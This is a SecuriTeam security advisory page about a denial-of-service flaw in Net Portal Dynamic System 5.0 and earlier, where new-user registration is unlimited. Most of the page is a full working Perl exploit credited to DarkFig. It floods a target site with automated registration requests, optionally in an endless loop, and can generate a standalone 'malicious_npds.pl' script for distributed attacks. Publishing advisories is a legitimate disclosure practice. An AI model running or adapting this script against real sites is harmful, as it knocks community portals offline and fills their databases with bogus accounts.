SecuriTeam - Net Portal Dynamic System Denial of Service Exploit

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

"NPDS is a powerful user-friendly Community Management System based on PhpNuke."

NPDS does not limit the amount of new users that can be created by the user. This allows an attacker to run a denial of service vulnerability on a vulnerable portal.

Credit:
The information has been provided by DarkFig.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable Systems:
* Net Portal Dynamic System version 5.0 and prior

Exploit:
#!/usr/bin/perl
################################################################
#Type|+ Register multiple users for Denial of Service
#Vendor url|+ www.npds.org
#Little description|+ NPDS (Net Portal Dynamic System) is a French(and now English !) GNU dynamic portal
#Solution|+ None official but you can add a visual confirmation if you like php ;)
#Worked on|+ Last version(5.0, tested), probably prior
#Files|+ Exploit=npds50.pl Bind=malicious_npds.pl Log=log_npds_dos.txt
#Credits|+ Vulnerability find and coded by DarkFig
#Greetz|+ Acid root, [*BoD*] , Milw0rm.com (best website in the world !!) and all people who know me ;)
#Note|+ Bind option if for DDoS attack | If the website send password to the email no registration but it add an email in the database (can make Dos !) ;) | Sorry for my bad english ^^
################################################################
use IO::Socket;
if (@ARGV < 7) {
print q(
+------------------------------------------------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users Denial of Service +
+------------------------------------------------------------------------+
+ Usage|npds50.pl <host> <path> <port> <pwd_send> <nb_reg> <log> <bind> +
+------------------------------------------------------------------------+
+ <pwd_send> => Website send password to the email ? [Yes=1] [No=0] +
+ <port> => The port of the website (default is 80) +
+ <nb_loop> => Number of registration [Infinite=loop] +
+ <log> => Log activity in a file [Yes=1] [No=0] +
+ <bind> => Generate a malicious file for DDOS [Yes=1] [No=0] +
+------------------------------------------------------------------------+
+ Found and coded by DarkFig +
+------------------------------------------------------------------------+
); exit();}

#Initializing data
$host = $ARGV[0];
$path = $ARGV[1];
$port = $ARGV[2];
$sendpwd = $ARGV[3];
$nb_reg = $ARGV[4];
$log = $ARGV[5];
$bind = $ARGV[6];
$x = 0;
if($nb_reg eq "loop") {$nb_reg = "-5";}

#If bind=yes
if($bind eq "1") {
print q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Found and coded by DarkFig +
+-----------------------------------+);
print "\n [+] Generate a malicious file...";
open FILE, ">malicious_npds.pl";
print FILE "use IO::Socket;";
print FILE "\n"; print FILE q($log = "); print FILE "$log"; print FILE q(";);
print FILE "\n"; print FILE q($host = "); print FILE "$host"; print FILE q(";);
print FILE "\n"; print FILE q($port = ); print FILE "$port;";
print FILE "\n"; print FILE q($nb_reg = ); print FILE "$nb_reg;";
print FILE "\n"; print FILE q($path = "); print FILE "$path"; print FILE q(";);
print FILE "\n"; print FILE q($x = 0;);
print FILE "\n"; print FILE q(if($nb_reg eq "loop"){$nb_reg = "-5";});
print FILE "\n";
print FILE q(while($x != $nb_reg) {
$email = "godman"."$x"."%40hotmail.com";
$pseudo = "0rrn"."$x"."&";
$password = "g0_odp4sswd";
);
if($sendpwd eq "0"){print FILE q($full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass="."$password"."&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";);}
if($sendpwd eq "1"){print FILE q($full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";);}
print FILE q(
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host, maybe Dosed !\n" unless $sock;
print $sock "GET $full_url HTTP/1.1\n";
print $sock "Host: $host\n";
close($sock);
if($log eq "1") {
open FILE, ">log_npds_dos.txt";
print FILE q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Activity logged +
+-----------------------------------+);
print FILE "\n Host| $host";
print FILE "\n Path| $path";
print FILE "\n Port| $port";
print FILE "\n Registration| $x";
print FILE "\n+-----------------------------------+";
print FILE "\n+ Logged by DarkFig +";
print FILE "\n+-----------------------------------+";
close FILE;}
$x++;
syswrite STDOUT, "-$x";}); close FILE;
print "\n [+] Malicious file generate !";
print "\n+-----------------------------------+\n";
exit();}

#If bind=no
if($bind eq "0") {
print q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Found and coded by DarkFig +
+-----------------------------------+);
print "\n[~] Connecting to the host..";
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host: $!\n" unless $sock; close($sock);
print "\n[+] Connected !";
print "\n[~] Sending data...";
print "\n[+] Number of registration\n";
while($x != $nb_reg) {
$email = "ownv"."$x"."%40hotmail.com";
$pseudo = "0orn"."$x"."&";
$password = "g0_odp4sswd";
if($sendpwd eq "0"){$full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass="."$password"."&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";}
if($sendpwd eq "1"){$full_url = "$path"."user.php"."?op=only_newuser&uname="."$pseudo"."name=&email="."$email"."&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish";}
my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "$port",Proto => "tcp",);
die "\n[-] Can't connect to the host, maybe Dosed !\n" unless $sock;
print $sock "GET $full_url HTTP/1.1\n";
print $sock "Host: $host\n";
close($sock);
if($log eq "1") {
open FILE, ">log_npds_dos.txt";
print FILE q(
+-----------------------------------+
+ Net Portal Dynamic System <5.0 +
+ Register multiple users for DoS +
+ Activity logged +
+-----------------------------------+);
print FILE "\n Host| $host";
print FILE "\n Path| $path";
print FILE "\n Port| $port";
print FILE "\n Registration| $x";
print FILE "\n+-----------------------------------+";
print FILE "\n+ Logged by DarkFig +";
print FILE "\n+-----------------------------------+";
close FILE;}
$x++;
syswrite STDOUT, "-$x";}}

#EoF

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)